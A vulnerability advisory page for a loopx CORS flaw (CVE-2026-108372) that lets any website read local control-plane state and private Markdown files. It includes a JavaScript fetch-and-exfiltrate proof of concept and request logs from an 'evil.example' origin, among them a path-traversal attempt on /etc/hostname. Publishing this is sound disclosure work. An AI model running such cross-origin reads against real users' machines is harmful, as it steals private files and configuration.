LoopX serve-status permissive CORS policy exposes control-plane state and private Markdown files
CVE-2026-108372 · GHSA-vx2m-gpq4-8j5q · published 19 Oct 2026
How serious is it
- Severity: high, CVSS score 7.1 out of 10.
- No exploit prediction (EPSS) score yet.
- Not on the CISA list of exploited vulnerabilities.
- No public exploit in Exploit-DB.
Is your app affected by CVE-2026-108372?
Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.
Who is affected
loopx(PyPI) >= 0.0.1, < 0.4.5
How to check
- Run
pip show loopxin your project to see the installed version, including copies pulled in by other packages. - Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
- Or run
npx shippable-dev scan localhost:3000in your project folder. It reads your lockfile and flags this vulnerability along with every other known one.
How to fix
Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
- Upgrade
loopxto 0.4.5 or later, commit the lockfile and redeploy. - If a vulnerable version was live, check your logs and rotate the secrets that server could read.
The advisory
## Summary
`loopx serve-status` sends `Access-Control-Allow-Origin: *` on **every** response,
including its unauthenticated `GET` routes. Because the endpoint is unauthenticated and
bound to a fixed, well-known loopback port, **any website the operator visits can read
LoopX control-plane state and the contents of Markdown files inside every registered goal
repo**, using a plain `fetch()` with no user interaction.
The write endpoints are *not* affected — they are correctly Origin-checked. This report is
strictly about the **read** paths.
## Impact
While `loopx serve-status` is running, a page on any origin can run:
```js
// no interaction, no preflight, no credentials needed
const s = await (await fetch('http://127.0.0.1:8766/status.json')).json();
for (const g of s.goals ?? []) {
const m = await (await fetch(
`http://127.0.0.1:8766/review-material?goal_id=${g.id}&path=design-notes.md`
)).json();
exfiltrate(m.content);
}
```
and read back:
* **`GET /status.json`** — the whole status projection: goal ids, run history, and local
absolute paths (`registry`, `runtime_root`). With `--global-registry` this covers
**every project registered on the machine**, not just one.
* **`GET /review-material?goal_id=…&path=…`** — the *content* of any `.md`/`.markdown`
file under a goal's repo root, state dir, or runtime dir. In practice that is the
operator's private design notes, handoff docs, and evidence write-ups.
* **`GET /`** — endpoint discovery, including which write APIs are enabled.
* **`POST /control-plane/configure-goal/dry-run`** — this route has **no Origin check at
all**, and `do_OPTIONS` returns `Access-Control-Allow-Headers: Content-Type`, so a
cross-origin JSON POST passes preflight. The response leaks the `before`/`after`
control-plane configuration for a goal. (It does not write — I verified `written=false`.)
`docs/public-private-boundary.md` classifies "local absolute paths", "task ids", "raw logs
and metrics" and "active goal state that reveals current user context" as material that
must stay private. All of it is currently readable by any origin.
Two things make this more than theoretical:
1. **Fixed default ports.** `8765` (project) and `8766` (global) are hardcoded defaults, so
an attacker page can simply try both — no discovery step needed.
2. **It is documented as a persistent service.** `docs/guides/getting-started.md` documents
`loopx serve-status`, and `scripts/macos-dashboard-launchagent.sh` installs a LaunchAgent
that keeps `serve-status --global-registry --port 8766` running **after every login**. For
anyone following that guide, this is an always-on, machine-wide read surface.
I have graded this **High** on the basis of zero-interaction exfiltration of private local
material from a persistent service. It is read-only and scope-limited, so if you read the
exposure as lower I would not argue the point — you know your users' setups better than I do.
## Location
`loopx/status_server.py:136-146` — `StatusRequestHandler._send_json()`:
```python
def _send_json(self, payload: dict[str, Any], *, status: int = 200) -> None:
...
self.send_header("Access-Control-Allow-Origin", "*") # <-- line 142
```
`_send_json` is the single response path for *all* routes, so the wildcard is applied to
`/status.json`, `/review-material`, `/healthz`, `/` and the dry-run POSTs alike.
`do_OPTIONS` (`:148-153`) repeats it.
Confirmed present at `main` HEAD (`b0c8e315`, blob `c9e53d1a`) at the time of writing.
## What is NOT affected (I checked, so you don't have to)
I tried to refute this before reporting. These controls all hold:
* **Writes are properly defended.** With `--enable-reward-write-api` and
`--enable-control-plane-write-api` both on, `POST /reward/append` and
`POST /control-plane/configure-goal/apply` return **403 "only accepts loopback browser
origins"** for a foreign `Origin`. `is_loopback_origin()` does its job. There is no
cross-origin write, and DNS rebinding does not defeat it either (the rebound page still
carries its own non-loopback origin).
* **No path traversal.** `../../../../etc/hostname` → 400; an absolute `.md` outside the
goal roots → 400 ("outside the goal repo/state/runtime roots"). `path_is_under()` is
correct.
* **Extension allowlist holds.** `secrets.env` inside the repo → 400. Only `.md`/`.markdown`
can be read.
* **Dry-run does not write.** `configure_goal_with_global_sync(execute=False)` returns
before any write; I observed `written=false`.
So the exposure is confined to: status JSON + Markdown under registered goal roots. That is
still private material, but it is not arbitrary file read and it is not remote code
execution.
## Proof of concept
Run against an unmodified clone at HEAD, **default flags** (no write APIs enabled):
```
GET /healthz Origin: https://evil.example -> 200 ACAO: '*'
GET / Origin: https://evil.example -> 200 ACAO: '*'
GET /status.json Origin: https://evil.example -> 200 ACAO: '*'
GET /review-material?goal_id=victim-goal&path=internal-design-notes.md
Origin: https://evil.example -> 200 ACAO: '*'
content: "# Internal notes\n\nPROD_DB_HOST=db.internal.corp\nCONFIDENTIAL: ..."
```
The file content came back verbatim to a foreign origin. Matched controls from the same
harness, with **both write flags enabled** (i.e. the configuration most favourable to the
current design):
```
POST /reward/append Origin: https://evil.example -> 403 (origin check)
POST /control-plane/configure-goal/apply Origin: https://evil.example -> 403 (origin check)
GET /review-material ../../../../etc/hostname -> 400 (traversal blocked)
GET /review-material <abs path outside roots>.md -> 400 (root check)
GET /review-material secrets.env -> 400 (extension check)
GET /status.json …
Check your whole app
Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.
References
- github.com/huangruiteng/loopx/security/advisories/GHSA-vx2m-gpq4-8j5q
- github.com/loopx-project/loopx/security/advisories/GHSA-vx2m-gpq4-8j5q
- nvd.nist.gov/vuln/detail/CVE-2026-108372
- github.com/loopx-project/loopx/pull/3137
- github.com/loopx-project/loopx/commit/838720fba42bd22f71b5bb763ec406f7bdf4c940
- github.com/loopx-project/loopx/releases/tag/v0.4.5
- github.com/advisories/GHSA-vx2m-gpq4-8j5q
- github.com/huangruiteng/loopx
Merged from GitHub Advisory Database, OSV. Last updated 23 Oct 2026. All vulnerabilities · RSS · JSON